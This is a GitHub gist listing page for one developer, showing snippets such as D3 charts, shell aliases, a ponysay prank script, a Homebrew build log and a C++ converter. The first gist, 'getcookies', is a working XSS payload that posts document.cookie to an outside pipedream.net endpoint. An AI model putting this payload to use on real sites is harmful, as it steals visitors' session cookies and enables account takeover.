Skip to content

Instantly share code, notes, and snippets.

-----BEGIN GEEK CODE BLOCK-----
Version: 3.1
GCS d- s+:+ a+42 C++++$ UBL++++$ !P L++@ E-- W+++$ N++ o-- K? W++
O? M++ V? PS+++ PE++ Y PGP(+++) t++ 5 X R tv b+ DI-- D G c++ h--
r->++ y++++(*)
------END GEEK CODE BLOCK------
@BenGlasser
BenGlasser / getcookie
Last active April 29, 2021 17:40
getcookies
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://enzq7yrx3qe1pn5.m.pipedream.net", true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({
cookie: document.cookie
}));
</script>
#!/usr/bin/env python
#
# Your previous Plain Text content is preserved below:
#
# This is just a simple shared plaintext pad, with no execution capabilities.
#
# When you know what language you'd like to use for your interview,
# simply choose it from the dropdown in the top bar.
#
@BenGlasser
BenGlasser / .block
Last active July 9, 2017 01:28
Animated Bar Chart D3 V4
license: dbad
border: no
@BenGlasser
BenGlasser / index.html
Created January 31, 2017 17:56
Circular Guage
<!DOCTYPE html>
<meta charset="utf-8">
<style>
body {
font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
width: 960px;
height: 500px;
position: relative;
}
@BenGlasser
BenGlasser / pwnies.sh
Last active November 6, 2017 22:35
for all the the bronies in the house
#!/bin/bash
#run this, you won't be sorry.
command -v brew >/dev/null 2>&1 || { echo >&2 "install homebrew and try again..."; exit 1; }
brew install fortune
brew install ponysay
echo "fortune | ponysay" >> ~/.profile
echo "alias pwnies=\"fortune | ponysay\"" >> ~/.profile
@BenGlasser
BenGlasser / .profile
Last active December 25, 2015 03:49
my environment settings
### COLORS ###
alias ls='ls -G'
export CLICOLOR=1
export LSCOLORS=Gxfxcxdxbxegedabagacad
##################
### MY ALIASES ###
##################
@BenGlasser
BenGlasser / gist:6890415
Created October 8, 2013 19:45
hombrew wireshark fail :(
──> HOMEBREW_MAKE_JOBS=1 VERBOSE=1 brew install wireshark
==> Downloading http://wiresharkdownloads.riverbed.com/wireshark/src/wireshark-1.10.2.tar.bz2
Already downloaded: /Library/Caches/Homebrew/wireshark-1.10.2.tar.bz2
tar xf /Library/Caches/Homebrew/wireshark-1.10.2.tar.bz2
==> ./configure --disable-dependency-tracking --prefix=/usr/local/Cellar/wireshark/1.10.2 --with-gnutls --with-ssl --disable-wireshark --disable-gtktest
./configure --disable-dependency-tracking --prefix=/usr/local/Cellar/wireshark/1.10.2 --with-gnutls --with-ssl --disable-wireshark --disable-gtktest
checking build system type... x86_64-apple-darwin12.5.0
checking host system type... x86_64-apple-darwin12.5.0
checking target system type... x86_64-apple-darwin12.5.0
checking for a BSD-compatible install... /usr/bin/install -c
@BenGlasser
BenGlasser / bin2hex2bin
Last active December 14, 2015 08:39
an effective but not to elegant bin <-> hex converter...
/*
* Author: Ben Glasser
* Date: 11/06/12
* This is avery simple c++ program which converts Hex in binary
* and binary to Hex
*/
#include <iostream>
#include <string>
using namespace std;